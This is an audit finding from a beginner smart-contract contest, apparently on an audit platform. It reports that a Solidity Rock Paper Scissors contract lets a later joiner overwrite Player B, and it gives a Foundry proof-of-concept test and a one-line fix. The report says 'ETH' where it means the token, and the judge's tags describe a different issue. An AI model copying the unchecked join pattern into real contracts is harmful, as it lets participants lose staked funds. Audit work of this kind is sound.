Rock Paper Scissors

First Flight #38
Beginner FriendlySolidity
100 EXP
View results
Submission Details
Severity: medium
Valid

Missing Player B Existence Check in `RockPaperScissors::joinGameWithToken` Enables State Corruption via Unauthorized Participant Overwrite

Description

The joinGameWithToken function allows any user to join an existing game by supplying the correct gameId and bet amount(1 token). However, there is no check to ensure that the playerB slot has not already been filled. This allows any user to repeatedly overwrite the playerB address for a given gameId, leading to corrupted or inconsistent game state.

Since playerB is set unconditionally, this behavior breaks the expected one-to-one mapping between players and games. It also introduces the risk of race conditions where multiple users can attempt to join the same game at the same time — the last transaction mined wins, overwriting the others silently.

function joinGameWithToken(uint256 _gameId) external {
Game storage game = games[_gameId];
require(game.state == GameState.Created, "Game not open to join");
require(game.playerA != msg.sender, "Cannot join your own game");
require(block.timestamp <= game.joinDeadline, "Join deadline passed");
require(game.bet == 0, "This game requires ETH bet");
require(winningToken.balanceOf(msg.sender) >= 1, "Must have winning token");
// Transfer token to contract
winningToken.transferFrom(msg.sender, address(this), 1);
game.playerB = msg.sender;
emit PlayerJoined(_gameId, msg.sender);
}

There is no check like require(game.playerB == address(0)), so this function allows playerB to be overwritten any number of times before playerA reveals their hand.

Impact

  • State Corruption and Game Hijacking: A malicious user can repeatedly overwrite the playerB field, breaking the integrity of the game logic.

  • Loss of Funds: Original playerB will loose their staked ETH as there is no method to get the funds back after being overwritten.

Proof of Concepts

function testPlayerBOverwriteInJoinGameWithToken() public {
// create player C and mint some tokens
address playerC = makeAddr("playerC");
vm.prank(address(game));
token.mint(playerC, 10);
// player A creates game with token
vm.startPrank(playerA);
token.approve(address(game), 1);
uint256 gameId = game.createGameWithToken(TOTAL_TURNS, TIMEOUT);
vm.stopPrank();
// player B joins game
vm.startPrank(playerB);
token.approve(address(game), 1);
game.joinGameWithToken(gameId);
vm.stopPrank();
// assertions
(address storedPlayerA, address storedPlayerB,,,,,,,,,,,,,, RockPaperScissors.GameState state) =
game.games(gameId);
assertEq(storedPlayerA, playerA);
assertEq(storedPlayerB, playerB);
assertEq(token.balanceOf(playerB), 9);
assertEq(token.balanceOf(address(game)), 2);
assertEq(token.balanceOf(playerA), 9);
// player C tries to join the game
vm.startPrank(playerC);
token.approve(address(game), 1);
game.joinGameWithToken(gameId);
vm.stopPrank();
// assertions
(address storedPlayerA2, address storedPlayerB2,,,,,,,,,,,,,, RockPaperScissors.GameState state2) =
game.games(gameId);
assertEq(storedPlayerA2, playerA);
assertEq(storedPlayerB2, playerC); // player C overwrites player B
assertEq(token.balanceOf(playerC), 9);
assertEq(token.balanceOf(address(game)), 3);
}
1. Player A creates a game with token(gameId = 0xabc...)
2. Player B joins with 1 token
3. Player C calls joinGameWithToken with same gameId, also sending 1 token
Result: game.playerB now equals Player C, not B

Recommended mitigation

function joinGameWithToken(uint256 _gameId) external {
Game storage game = games[_gameId];
+ require(game.playerB == address(0), "Game already joined");
require(game.state == GameState.Created, "Game not open to join");
require(game.playerA != msg.sender, "Cannot join your own game");
require(block.timestamp <= game.joinDeadline, "Join deadline passed");
require(game.bet == 0, "This game requires ETH bet");
require(winningToken.balanceOf(msg.sender) >= 1, "Must have winning token");
// Transfer token to contract
winningToken.transferFrom(msg.sender, address(this), 1);
game.playerB = msg.sender;
emit PlayerJoined(_gameId, msg.sender);
}
Updates

Appeal created

m3dython Lead Judge about 2 months ago
Submission Judgement Published
Validated
Assigned finding tags:

Player B cannot cancel a game if Player A becomes unresponsive after Player B joins

Protocol does not provide a way for Player B to exit a game and reclaim their stake if Player A stops participating

m3dython Lead Judge about 2 months ago
Submission Judgement Published
Validated
Assigned finding tags:

Player B cannot cancel a game if Player A becomes unresponsive after Player B joins

Protocol does not provide a way for Player B to exit a game and reclaim their stake if Player A stops participating

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.